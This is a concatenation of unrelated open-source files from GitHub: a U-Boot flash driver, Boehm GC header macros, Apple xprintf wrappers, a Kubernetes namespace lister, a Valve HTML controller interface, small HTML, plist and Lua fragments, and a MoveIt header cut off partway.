syntax.") end func() return env end -- Export functions return { serialise_value = serialise_value, file_load = file_load, file_save = file_save, compare_values = compare_values, run_test_summary = run_test_summary, run_test = run_test, run_test_group = run_test_group, run_script = run_script } -- vi:ai et sw=4 ts=4:
{ "pile_set_name": "Github" }
/* * (C) Copyright 2001 * Wolfgang Denk, DENX Software Engineering, [email protected]. * * See file CREDITS for list of people who contributed to this * project. * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License as * published by the Free Software Foundation; either version 2 of * the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, * MA 02111-1307 USA */ #include <common.h> #include <configs/sacsng.h> #undef DEBUG #ifndef CONFIG_ENV_ADDR #define CONFIG_ENV_ADDR (CONFIG_SYS_FLASH_BASE + CONFIG_ENV_OFFSET) #endif #ifndef CONFIG_ENV_SIZE #define CONFIG_ENV_SIZE CONFIG_ENV_SECT_SIZE #endif flash_info_t flash_info[CONFIG_SYS_MAX_FLASH_BANKS]; /* info for FLASH chips */ /*----------------------------------------------------------------------- * Functions */ static ulong flash_get_size (vu_short *addr, flash_info_t *info); static int write_word (flash_info_t *info, ulong dest, ulong data); /*----------------------------------------------------------------------- */ unsigned long flash_init (void) { unsigned long size_b0, size_b1; int i; /* Init: no FLASHes known */ for (i=0; i<CONFIG_SYS_MAX_FLASH_BANKS; ++i) { flash_info[i].flash_id = FLASH_UNKNOWN; } size_b0 = flash_get_size((vu_short *)CONFIG_SYS_FLASH0_BASE, &flash_info[0]); if (flash_info[0].flash_id == FLASH_UNKNOWN) { printf ("## Unknown FLASH on Bank 0 - Size = 0x%08lx = %ld MB\n", size_b0, size_b0<<20); } size_b1 = flash_get_size((vu_short *)CONFIG_SYS_FLASH1_BASE, &flash_info[1]); #if CONFIG_SYS_MONITOR_BASE >= CONFIG_SYS_FLASH_BASE /* monitor protection ON by default */ flash_protect(FLAG_PROTECT_SET, CONFIG_SYS_MONITOR_BASE, CONFIG_SYS_MONITOR_BASE+monitor_flash_len-1, &flash_info[0]); #endif #ifdef CONFIG_ENV_IS_IN_FLASH /* ENV protection ON by default */ flash_protect(FLAG_PROTECT_SET, CONFIG_ENV_ADDR, CONFIG_ENV_ADDR+CONFIG_ENV_SIZE-1, &flash_info[0]); #endif if (size_b1) { #if CONFIG_SYS_MONITOR_BASE >= CONFIG_SYS_FLASH_BASE /* monitor protection ON by default */ flash_protect(FLAG_PROTECT_SET, CONFIG_SYS_MONITOR_BASE, CONFIG_SYS_MONITOR_BASE+monitor_flash_len-1, &flash_info[1]); #endif #ifdef CONFIG_ENV_IS_IN_FLASH /* ENV protection ON by default */ flash_protect(FLAG_PROTECT_SET, CONFIG_ENV_ADDR, CONFIG_ENV_ADDR+CONFIG_ENV_SIZE-1, &flash_info[1]); #endif } else { flash_info[1].flash_id = FLASH_UNKNOWN; flash_info[1].sector_count = -1; } flash_info[0].size = size_b0; flash_info[1].size = size_b1; /* * We only report the primary flash for U-Boot's use. */ return (size_b0); } /*----------------------------------------------------------------------- */ void flash_print_info (flash_info_t *info) { int i; if (info->flash_id == FLASH_UNKNOWN) { printf ("missing or unknown FLASH type\n"); return; } switch (info->flash_id & FLASH_VENDMASK) { case FLASH_MAN_AMD: printf ("AMD "); break; case FLASH_MAN_FUJ: printf ("FUJITSU "); break; default: printf ("Unknown Vendor "); break; } switch (info->flash_id & FLASH_TYPEMASK) { case FLASH_AM400B: printf ("AM29LV400B (4 Mbit, bottom boot sect)\n"); break; case FLASH_AM400T: printf ("AM29LV400T (4 Mbit, top boot sector)\n"); break; case FLASH_AM800B: printf ("AM29LV800B (8 Mbit, bottom boot sect)\n"); break; case FLASH_AM800T: printf ("AM29LV800T (8 Mbit, top boot sector)\n"); break; case FLASH_AM160B: printf ("AM29LV160B (16 Mbit, bottom boot sect)\n"); break; case FLASH_AM160T: printf ("AM29LV160T (16 Mbit, top boot sector)\n"); break; case FLASH_AM320B: printf ("AM29LV320B (32 Mbit, bottom boot sect)\n"); break; case FLASH_AM320T: printf ("AM29LV320T (32 Mbit, top boot sector)\n"); break; default: printf ("Unknown Chip Type\n"); break; } printf (" Size: %ld MB in %d Sectors\n", info->size >> 20, info->sector_count); printf (" Sector Start Addresses:"); for (i=0; i<info->sector_count; ++i) { if ((i % 5) == 0) printf ("\n "); printf (" %08lX%s", info->start[i], info->protect[i] ? " (RO)" : " " ); } printf ("\n"); return; } /*----------------------------------------------------------------------- */ /*----------------------------------------------------------------------- */ /* * The following code cannot be run from FLASH! */ static ulong flash_get_size (vu_short *addr, flash_info_t *info) { short i; ushort value; ulong base = (ulong)addr; /* Write auto select command: read Manufacturer ID */ addr[0x0555] = 0xAAAA; addr[0x02AA] = 0x5555; addr[0x0555] = 0x9090; __asm__ __volatile__(" sync\n "); value = addr[0]; #ifdef DEBUG printf("Flash manufacturer 0x%04X\n", value); #endif if(value == (ushort)AMD_MANUFACT) { info->flash_id = FLASH_MAN_AMD; } else if (value == (ushort)FUJ_MANUFACT) { info->flash_id = FLASH_MAN_FUJ; } else { #ifdef DEBUG printf("Unknown flash manufacturer 0x%04X\n", value); #endif info->flash_id = FLASH_UNKNOWN; info->sector_count = 0; info->size = 0; return (0); /* no or unknown flash */ } value = addr[1]; /* device ID */ #ifdef DEBUG printf("Flash type 0x%04X\n", value); #endif if(value == (ushort)AMD_ID_LV400T) { info->flash_id += FLASH_AM400T; info->sector_count = 11; info->size = 0x00080000; /* => 0.5 MB */ } else if(value == (ushort)AMD_ID_LV400B) { info->flash_id += FLASH_AM400B; info->sector_count = 11; info->size = 0x00080000; /* => 0.5 MB */ } else if(value == (ushort)AMD_ID_LV800T) { info->flash_id += FLASH_AM800T; info->sector_count = 19; info->size = 0x00100000; /* => 1 MB */ } else if(value == (ushort)AMD_ID_LV800B) { info->flash_id += FLASH_AM800B; info->sector_count = 19; info->size = 0x00100000; /* => 1 MB */ } else if(value == (ushort)AMD_ID_LV160T) { info->flash_id += FLASH_AM160T; info->sector_count = 35; info->size = 0x00200000; /* => 2 MB */ } else if(value == (ushort)AMD_ID_LV160B) { info->flash_id += FLASH_AM160B; info->sector_count = 35; info->size = 0x00200000; /* => 2 MB */ } else if(value == (ushort)AMD_ID_LV320T) { info->flash_id += FLASH_AM320T; info->sector_count = 67; info->size = 0x00400000; /* => 4 MB */ } else if(value == (ushort)AMD_ID_LV320B) { info->flash_id += FLASH_AM320B; info->sector_count = 67; info->size = 0x00400000; /* => 4 MB */ } else { #ifdef DEBUG printf("Unknown flash type 0x%04X\n", value); info->size = CONFIG_SYS_FLASH_SIZE; #else info->flash_id = FLASH_UNKNOWN; return (0); /* => no or unknown flash */ #endif } /* set up sector start address table */ if (info->flash_id & FLASH_BTYPE) { /* set sector offsets for bottom boot block type */ info->start[0] = base + 0x00000000; info->start[1] = base + 0x00004000; info->start[2] = base + 0x00006000; info->start[3] = base + 0x00008000; for (i = 4; i < info->sector_count; i++) { info->start[i] = base + ((i - 3) * 0x00010000); } } else { /* set sector offsets for top boot block type */ i = info->sector_count - 1; info->start[i--] = base + info->size - 0x00004000; info->start[i--] = base + info->size - 0x00006000; info->start[i--] = base + info->size - 0x00008000; for (; i >= 0; i--) { info->start[i] = base + (i * 0x00010000); } } /* check for protected sectors */ for (i = 0; i < info->sector_count; i++) { /* read sector protection at sector address, (A7 .. A0) = 0x02 */ /* D0 = 1 if protected */ addr = (volatile unsigned short *)(info->start[i]); info->protect[i] = addr[2] & 1; } /* * Prevent writes to uninitialized FLASH. */ if (info->flash_id != FLASH_UNKNOWN) { addr = (volatile unsigned short *)info->start[0]; } addr[0] = 0xF0F0; /* reset bank */ __asm__ __volatile__(" sync\n "); return (info->size); } /*----------------------------------------------------------------------- */ int flash_erase (flash_info_t *info, int s_first, int s_last) { vu_short *addr = (vu_short*)(info->start[0]); int flag, prot, sect, l_sect; ulong start, now, last; if ((s_first < 0) || (s_first > s_last)) { if (info->flash_id == FLASH_UNKNOWN) { printf ("- missing\n"); } else { printf ("- no sectors to erase\n"); } return 1; } if ((info->flash_id == FLASH_UNKNOWN) || (info->flash_id > FLASH_AMD_COMP)) { printf ("Can't erase unknown flash type %08lx - aborted\n", info->flash_id); return 1; } prot = 0; for (sect=s_first; sect<=s_last; ++sect) { if (info->protect[sect]) { prot++; } } if (prot) { printf ("- Warning: %d protected sectors will not be erased!\n", prot); } else { printf ("\n"); } l_sect = -1; /* Disable interrupts which might cause a timeout here */ flag = disable_interrupts(); addr[0x0555] = 0xAAAA; addr[0x02AA] = 0x5555; addr[0x0555] = 0x8080; addr[0x0555] = 0xAAAA; addr[0x02AA] = 0x5555; __asm__ __volatile__(" sync\n "); /* Start erase on unprotected sectors */ for (sect = s_first; sect<=s_last; sect++) { if (info->protect[sect] == 0) { /* not protected */ addr = (vu_short*)(info->start[sect]); addr[0] = 0x3030; l_sect = sect; } } /* re-enable interrupts if necessary */ if (flag) enable_interrupts(); /* wait at least 80us - let's wait 1 ms */ udelay (1000); /* * We wait for the last triggered sector */ if (l_sect < 0) goto DONE; start = get_timer (0); last = start; addr = (vu_short*)(info->start[l_sect]); while ((addr[0] & 0x0080) != 0x0080) { if ((now = get_timer(start)) > CONFIG_SYS_FLASH_ERASE_TOUT) { printf ("Timeout\n"); addr[0] = 0xF0F0; /* reset bank */ __asm__ __volatile__(" sync\n "); return 1; } /* show that we're waiting */ if ((now - last) > 1000) { /* every second */ putc ('.'); last = now; } } DONE: /* reset to read mode */ addr = (vu_short*)info->start[0]; addr[0] = 0xF0F0; /* reset bank */ __asm__ __volatile__(" sync\n "); printf (" done\n"); return 0; } /*----------------------------------------------------------------------- * Copy memory to flash, returns: * 0 - OK * 1 - write timeout * 2 - Flash not erased */ int write_buff (flash_info_t *info, uchar *src, ulong addr, ulong cnt) { ulong cp, wp, data; int i, l, rc; wp = (addr & ~3); /* get lower word aligned address */ /* * handle unaligned start bytes */ if ((l = addr - wp) != 0) { data = 0; for (i=0, cp=wp; i<l; ++i, ++cp) { data = (data << 8) | (*(uchar *)cp); } for (; i<4 && cnt>0; ++i) { data = (data << 8) | *src++; --cnt; ++cp; } for (; cnt==0 && i<4; ++i, ++cp) { data = (data << 8) | (*(uchar *)cp); } if ((rc = write_word(info, wp, data)) != 0) { return (rc); } wp += 4; } /* * handle word aligned part */ while (cnt >= 4) { data = 0; for (i=0; i<4; ++i) { data = (data << 8) | *src++; } if ((rc = write_word(info, wp, data)) != 0) { return (rc); } wp += 4; cnt -= 4; } if (cnt == 0) { return (0); } /* * handle unaligned tail bytes */ data = 0; for (i=0, cp=wp; i<4 && cnt>0; ++i, ++cp) { data = (data << 8) | *src++; --cnt; } for (; i<4; ++i, ++cp) { data = (data << 8) | (*(uchar *)cp); } return (write_word(info, wp, data)); } /*----------------------------------------------------------------------- * Write a word to Flash, returns: * 0 - OK * 1 - write timeout * 2 - Flash not erased */ static int write_word (flash_info_t *info, ulong dest, ulong data) { vu_short *addr = (vu_short*)(info->start[0]); ulong start; int flag; int j; /* Check if Flash is (sufficiently) erased */ if (((*(vu_long *)dest) & data) != data) { return (2); } /* Disable interrupts which might cause a timeout here */ flag = disable_interrupts(); /* The original routine was designed to write 32 bit words to * 32 bit wide memory. We have 16 bit wide memory so we do * two writes. We write the LSB first at dest+2 and then the * MSB at dest (lousy big endian). */ dest += 2; for(j = 0; j < 2; j++) { addr[0x0555] = 0xAAAA; addr[0x02AA] = 0x5555; addr[0x0555] = 0xA0A0; __asm__ __volatile__(" sync\n "); *((vu_short *)dest) = (ushort)data; /* re-enable interrupts if necessary */ if (flag) enable_interrupts(); /* data polling for D7 */ start = get_timer (0); while (*(vu_short *)dest != (ushort)data) { if (get_timer(start) > CONFIG_SYS_FLASH_WRITE_TOUT) { return (1); } } dest -= 2; data >>= 16; } return (0); } /*----------------------------------------------------------------------- */
{ "pile_set_name": "Github" }
<h3>Press Contacts</h3> <p>We will be very happy to answer all the questions you may have, please e-mail us at <a href="mailto:[email protected]">[email protected]</a></p> <img src="https://static.openfoodfacts.org/files/presskit/PressKit/team/team-anca.jpg" style="border-radius: 50%;height: 50px" alt="Anca Luca"> Anca Luca, president of Open Food Facts association<br> <img src="https://static.openfoodfacts.org/files/presskit/PressKit/team/press-stephane.jpg" style="border-radius: 50%;height: 50px" alt="Stéphane Gigandet"> Stéphane Gigandet, founder of the Open Food Facts association - (+33) 6 88 96 17 49<br> <img src="https://static.openfoodfacts.org/files/presskit/PressKit/team/team-pierre.jpg" style="border-radius: 50%;height: 50px" alt="Pierre Slamich"> Pierre Slamich, co-founder of the Open Food Facts association - (+33) 6 02 13 14 57<br>
{ "pile_set_name": "Github" }
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta name="viewport" content=" initial-scale=1.0, maximum-scale=1.0, user-scalable=no"> <meta name="apple-mobile-web-app-capable" content="yes"> <meta name="apple-mobile-web-app-status-bar-style" content="black"> <meta name="format-detection" content="telephone=no"> <title><#$shopinfo[0]['shopname']#></title> <link href="<#$Theme['T']['css']#>/ui-base.css" rel="stylesheet" /> <link href="<#$Theme['T']['css']#>/ui-color.css" rel="stylesheet"/> <link href="<#$Theme['T']['css']#>/login.css" rel="stylesheet"/> <title><#$shopinfo[0]['shopname']#></title> </head> <body> <include file="public:head"/> <div class="newsbox"> <div class="newshead"> <div class="newtitle"><#$adinfo.title#></div> <div>日期:<#$adinfo.add_time|date='Y-m-d',####></div> </div> <div class="newsinfo"> <#$adinfo.info|htmlspecialchars_decode#> </div> <a class="btn_base corner-all-10 c-ml-f1 c-eee t-bla us uba b-wh " href="javascript:void(0);" id="btn_back">返回首页</a> </div> <include file="public:foot"/> <script type="text/javascript" src="<#$Theme['P']['js']#>/jquery.js"></script> <script> $(document).ready(function(){ $('#btn_back').bind('click',function(){ history.go(-1); }); }); </script> </body> </html>
{ "pile_set_name": "Github" }
/* * Copyright 1988, 1989 Hans-J. Boehm, Alan J. Demers * Copyright (c) 1991-1994 by Xerox Corporation. All rights reserved. * * THIS MATERIAL IS PROVIDED AS IS, WITH ABSOLUTELY NO WARRANTY EXPRESSED * OR IMPLIED. ANY USE IS AT YOUR OWN RISK. * * Permission is hereby granted to use or copy this program * for any purpose, provided the above notices are retained on all copies. * Permission to modify the code and to distribute modified code is granted, * provided the above notices are retained, and a notice that the code was * modified is included with the above copyright notice. */ #ifndef GC_HEADERS_H #define GC_HEADERS_H typedef struct hblkhdr hdr; #if CPP_WORDSZ != 32 && CPP_WORDSZ < 36 --> Get a real machine. #endif /* * The 2 level tree data structure that is used to find block headers. * If there are more than 32 bits in a pointer, the top level is a hash * table. * * This defines HDR, GET_HDR, and SET_HDR, the main macros used to * retrieve and set object headers. * * We take advantage of a header lookup * cache. This is a locally declared direct mapped cache, used inside * the marker. The HC_GET_HDR macro uses and maintains this * cache. Assuming we get reasonable hit rates, this shaves a few * memory references from each pointer validation. */ #if CPP_WORDSZ > 32 # define HASH_TL #endif /* Define appropriate out-degrees for each of the two tree levels */ #if defined(LARGE_CONFIG) || !defined(SMALL_CONFIG) # define LOG_BOTTOM_SZ 10 #else # define LOG_BOTTOM_SZ 11 /* Keep top index size reasonable with smaller blocks. */ #endif #define BOTTOM_SZ (1 << LOG_BOTTOM_SZ) #ifndef HASH_TL # define LOG_TOP_SZ (WORDSZ - LOG_BOTTOM_SZ - LOG_HBLKSIZE) #else # define LOG_TOP_SZ 11 #endif #define TOP_SZ (1 << LOG_TOP_SZ) /* #define COUNT_HDR_CACHE_HITS */ #ifdef COUNT_HDR_CACHE_HITS extern word GC_hdr_cache_hits; /* used for debugging/profiling */ extern word GC_hdr_cache_misses; # define HC_HIT() ++GC_hdr_cache_hits # define HC_MISS() ++GC_hdr_cache_misses #else # define HC_HIT() # define HC_MISS() #endif typedef struct hce { word block_addr; /* right shifted by LOG_HBLKSIZE */ hdr * hce_hdr; } hdr_cache_entry; #define HDR_CACHE_SIZE 8 /* power of 2 */ #define DECLARE_HDR_CACHE \ hdr_cache_entry hdr_cache[HDR_CACHE_SIZE] #define INIT_HDR_CACHE BZERO(hdr_cache, sizeof(hdr_cache)) #define HCE(h) hdr_cache + (((word)(h) >> LOG_HBLKSIZE) & (HDR_CACHE_SIZE-1)) #define HCE_VALID_FOR(hce,h) ((hce) -> block_addr == \ ((word)(h) >> LOG_HBLKSIZE)) #define HCE_HDR(h) ((hce) -> hce_hdr) #ifdef PRINT_BLACK_LIST GC_INNER hdr * GC_header_cache_miss(ptr_t p, hdr_cache_entry *hce, ptr_t source); # define HEADER_CACHE_MISS(p, hce, source) \ GC_header_cache_miss(p, hce, source) #else GC_INNER hdr * GC_header_cache_miss(ptr_t p, hdr_cache_entry *hce); # define HEADER_CACHE_MISS(p, hce, source) GC_header_cache_miss(p, hce) #endif /* Set hhdr to the header for p. Analogous to GET_HDR below, */ /* except that in the case of large objects, it */ /* gets the header for the object beginning, if GC_all_interior_ptrs */ /* is set. */ /* Returns zero if p points to somewhere other than the first page */ /* of an object, and it is not a valid pointer to the object. */ #define HC_GET_HDR(p, hhdr, source, exit_label) \ do { \ hdr_cache_entry * hce = HCE(p); \ if (EXPECT(HCE_VALID_FOR(hce, p), TRUE)) { \ HC_HIT(); \ hhdr = hce -> hce_hdr; \ } else { \ hhdr = HEADER_CACHE_MISS(p, hce, source); \ if (0 == hhdr) goto exit_label; \ } \ } while (0) typedef struct bi { hdr * index[BOTTOM_SZ]; /* * The bottom level index contains one of three kinds of values: * 0 means we're not responsible for this block, * or this is a block other than the first one in a free block. * 1 < (long)X <= MAX_JUMP means the block starts at least * X * HBLKSIZE bytes before the current address. * A valid pointer points to a hdr structure. (The above can't be * valid pointers due to the GET_MEM return convention.) */ struct bi * asc_link; /* All indices are linked in */ /* ascending order... */ struct bi * desc_link; /* ... and in descending order. */ word key; /* high order address bits. */ # ifdef HASH_TL struct bi * hash_link; /* Hash chain link. */ # endif } bottom_index; /* bottom_index GC_all_nils; - really part of GC_arrays */ /* extern bottom_index * GC_top_index []; - really part of GC_arrays */ /* Each entry points to a bottom_index. */ /* On a 32 bit machine, it points to */ /* the index for a set of high order */ /* bits equal to the index. For longer */ /* addresses, we hash the high order */ /* bits to compute the index in */ /* GC_top_index, and each entry points */ /* to a hash chain. */ /* The last entry in each chain is */ /* GC_all_nils. */ #define MAX_JUMP (HBLKSIZE - 1) #define HDR_FROM_BI(bi, p) \ ((bi)->index[((word)(p) >> LOG_HBLKSIZE) & (BOTTOM_SZ - 1)]) #ifndef HASH_TL # define BI(p) (GC_top_index \ [(word)(p) >> (LOG_BOTTOM_SZ + LOG_HBLKSIZE)]) # define HDR_INNER(p) HDR_FROM_BI(BI(p),p) # ifdef SMALL_CONFIG # define HDR(p) GC_find_header((ptr_t)(p)) # else # define HDR(p) HDR_INNER(p) # endif # define GET_BI(p, bottom_indx) (void)((bottom_indx) = BI(p)) # define GET_HDR(p, hhdr) (void)((hhdr) = HDR(p)) # define SET_HDR(p, hhdr) (void)(HDR_INNER(p) = (hhdr)) # define GET_HDR_ADDR(p, ha) (void)((ha) = &HDR_INNER(p)) #else /* hash */ /* Hash function for tree top level */ # define TL_HASH(hi) ((hi) & (TOP_SZ - 1)) /* Set bottom_indx to point to the bottom index for address p */ # define GET_BI(p, bottom_indx) \ do { \ register word hi = \ (word)(p) >> (LOG_BOTTOM_SZ + LOG_HBLKSIZE); \ register bottom_index * _bi = GC_top_index[TL_HASH(hi)]; \ while (_bi -> key != hi && _bi != GC_all_nils) \ _bi = _bi -> hash_link; \ (bottom_indx) = _bi; \ } while (0) # define GET_HDR_ADDR(p, ha) \ do { \ register bottom_index * bi; \ GET_BI(p, bi); \ (ha) = &HDR_FROM_BI(bi, p); \ } while (0) # define GET_HDR(p, hhdr) \ do { \ register hdr ** _ha; \ GET_HDR_ADDR(p, _ha); \ (hhdr) = *_ha; \ } while (0) # define SET_HDR(p, hhdr) \ do { \ register hdr ** _ha; \ GET_HDR_ADDR(p, _ha); \ *_ha = (hhdr); \ } while (0) # define HDR(p) GC_find_header((ptr_t)(p)) #endif /* Is the result a forwarding address to someplace closer to the */ /* beginning of the block or NULL? */ #define IS_FORWARDING_ADDR_OR_NIL(hhdr) ((size_t) (hhdr) <= MAX_JUMP) /* Get an HBLKSIZE aligned address closer to the beginning of the block */ /* h. Assumes hhdr == HDR(h) and IS_FORWARDING_ADDR(hhdr). */ #define FORWARDED_ADDR(h, hhdr) ((struct hblk *)(h) - (size_t)(hhdr)) #endif /* GC_HEADERS_H */
{ "pile_set_name": "Github" }
/* * Copyright (c) 2012 Apple Inc. All rights reserved. * * @APPLE_LICENSE_HEADER_START@ * * This file contains Original Code and/or Modifications of Original Code * as defined in and that are subject to the Apple Public Source License * Version 2.0 (the 'License'). You may not use this file except in * compliance with the License. Please obtain a copy of the License at * http://www.opensource.apple.com/apsl/ and read it before using this * file. * * The Original Code and all software distributed under the License are * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. * Please see the License for the specific language governing rights and * limitations under the License. * * @APPLE_LICENSE_HEADER_END@ */ #define __va_list __darwin_va_list #include <printf.h> #include <stdarg.h> #include <errno.h> #include <local.h> #include <xprintf_private.h> #pragma clang diagnostic push #pragma clang diagnostic ignored "-Wpointer-bool-conversion" int asxprintf_exec(char ** __restrict ret, printf_comp_t __restrict pc, ...) { int iret; va_list ap; if (!pc) { errno = EINVAL; return -1; } va_start(ap, pc); iret = _vasprintf(pc, NULL, ret, NULL, NULL, ap); va_end(ap); return iret; } int dxprintf_exec(int fd, printf_comp_t __restrict pc, ...) { int ret; va_list ap; if (!pc) { errno = EINVAL; return -1; } va_start(ap, pc); ret = _vdprintf(pc, NULL, fd, NULL, NULL, ap); va_end(ap); return ret; } int fxprintf_exec(FILE * __restrict stream, printf_comp_t __restrict pc, ...) { int ret; va_list ap; if (!pc) { errno = EINVAL; return -1; } va_start(ap, pc); ret = __xvprintf(pc, NULL, stream, NULL, NULL, ap); va_end(ap); return ret; } int sxprintf_exec(char * __restrict str, size_t size, printf_comp_t __restrict pc, ...) { int ret; va_list ap; if (!pc) { errno = EINVAL; return -1; } va_start(ap, pc); ret = _vsnprintf(pc, NULL, str, size, NULL, NULL, ap); va_end(ap); return ret; } int xprintf_exec(printf_comp_t __restrict pc, ...) { int ret; va_list ap; if (!pc) { errno = EINVAL; return -1; } va_start(ap, pc); ret = __xvprintf(pc, NULL, stdout, NULL, NULL, ap); va_end(ap); return ret; } int vasxprintf_exec(char ** __restrict ret, printf_comp_t __restrict pc, va_list ap) { if (!pc) { errno = EINVAL; return -1; } return _vasprintf(pc, NULL, ret, NULL, NULL, ap); } int vdxprintf_exec(int fd, printf_comp_t __restrict pc, va_list ap) { if (!pc) { errno = EINVAL; return -1; } return _vdprintf(pc, NULL, fd, NULL, NULL, ap); } int vfxprintf_exec(FILE * __restrict stream, printf_comp_t __restrict pc, va_list ap) { if (!pc) { errno = EINVAL; return -1; } return __xvprintf(pc, NULL, stream, NULL, NULL, ap); } int vsxprintf_exec(char * __restrict str, size_t size, printf_comp_t __restrict pc, va_list ap) { if (!pc) { errno = EINVAL; return -1; } return _vsnprintf(pc, NULL, str, size, NULL, NULL, ap); } int vxprintf_exec(printf_comp_t __restrict pc, va_list ap) { if (!pc) { errno = EINVAL; return -1; } return __xvprintf(pc, NULL, stdout, NULL, NULL, ap); } #pragma clang diagnostic pop
{ "pile_set_name": "Github" }
<?xml version='1.0' encoding='UTF-8'?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <array> <array> <string>public.default</string> <string>glyphs</string> </array> </array> </plist>
{ "pile_set_name": "Github" }
/* Copyright The Kubernetes Authors. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // Code generated by lister-gen. DO NOT EDIT. package v1 import ( v1 "k8s.io/api/core/v1" "k8s.io/apimachinery/pkg/api/errors" "k8s.io/apimachinery/pkg/labels" "k8s.io/client-go/tools/cache" ) // NamespaceLister helps list Namespaces. type NamespaceLister interface { // List lists all Namespaces in the indexer. List(selector labels.Selector) (ret []*v1.Namespace, err error) // Get retrieves the Namespace from the index for a given name. Get(name string) (*v1.Namespace, error) NamespaceListerExpansion } // namespaceLister implements the NamespaceLister interface. type namespaceLister struct { indexer cache.Indexer } // NewNamespaceLister returns a new NamespaceLister. func NewNamespaceLister(indexer cache.Indexer) NamespaceLister { return &namespaceLister{indexer: indexer} } // List lists all Namespaces in the indexer. func (s *namespaceLister) List(selector labels.Selector) (ret []*v1.Namespace, err error) { err = cache.ListAll(s.indexer, selector, func(m interface{}) { ret = append(ret, m.(*v1.Namespace)) }) return ret, err } // Get retrieves the Namespace from the index for a given name. func (s *namespaceLister) Get(name string) (*v1.Namespace, error) { obj, exists, err := s.indexer.GetByKey(name) if err != nil { return nil, err } if !exists { return nil, errors.NewNotFound(v1.Resource("namespace"), name) } return obj.(*v1.Namespace), nil }
{ "pile_set_name": "Github" }
//========= Copyright Valve Corporation, All rights reserved. ============// // // Purpose: // // $NoKeywords: $ //=============================================================================// #ifndef ICHROMEHTMLWRAPPER_H #define ICHROMEHTMLWRAPPER_H #ifdef _WIN32 #pragma once #endif #include <html/htmlmessages.h> class CUtlString; class IHTMLResponses; struct HTMLCommandBuffer_t; //------------------------------------------------------------- ---------------- // Purpose: wrapper for HTML functionality //----------------------------------------------------------------------------- class IHTMLChromeController { public: virtual ~IHTMLChromeController() {} virtual bool Init( const char *pchHTMLCacheDir, const char *pchCookiePath ) = 0; virtual void Shutdown() = 0; virtual bool RunFrame() = 0; // set a cookie in the CEF instance. pchPath is typically "/". If nExpires is 0 then it is a session only cookie, other wise it is saved. virtual void SetWebCookie( const char *pchHostname, const char *pchKey, const char *pchValue, const char *pchPath, RTime32 nExpires = 0 ) = 0; virtual void GetWebCookiesForURL( CUtlString *pstrValue, const char *pchURL, const char *pchName ) = 0; virtual void SetClientBuildID( uint64 ulBuildID ) = 0; virtual bool BHasPendingMessages() = 0; virtual void CreateBrowser( IHTMLResponses *pBrowser, bool bPopupWindow, const char *pchUserAgentIdentifier ) = 0; virtual void RemoveBrowser( IHTMLResponses *pBrowser ) = 0; virtual void WakeThread() = 0; virtual HTMLCommandBuffer_t *GetFreeCommandBuffer( EHTMLCommands eCmd, int iBrowser ) = 0; virtual void PushCommand( HTMLCommandBuffer_t * ) = 0; #ifdef DBGFLAG_VALIDATE virtual void Validate( CValidator &validator, const char *pchName ) = 0; virtual bool ChromePrepareForValidate() = 0; virtual bool ChromeResumeFromValidate() = 0; #endif virtual void SetCefThreadTargetFrameRate( uint32 nFPS ) = 0; }; #define CHROMEHTML_CONTROLLER_INTERFACE_VERSION "ChromeHTML_Controller_001" #endif // ICHROMEHTMLWRAPPER_H
{ "pile_set_name": "Github" }
/********************************************************************* * Software License Agreement (BSD License) * * Copyright (c) 2014, SRI International * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above * copyright notice, this list of conditions and the following * disclaimer in the documentation and/or other materials provided * with the distribution. * * Neither the name of Willow Garage nor the names of its * contributors may be used to endorse or promote products derived * from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. *********************************************************************/ /* Author: Acorn Pooley */ #pragma once #include <moveit/kinematics_base/kinematics_base.h> #include <moveit/robot_state/robot_state.h> namespace robot_interaction { // Options for inverse kinematics calculations. // // This is intended to be lightweight and passable by value. No virtual // functions and no destructor. struct KinematicOptions { /// Constructor - set all options to reasonable default values KinematicOptions(); /// Bits corresponding to each member. /// NOTE: when adding fields to this structure also add the field to this /// enum and to the setOptions() method. enum OptionBitmask { TIMEOUT = 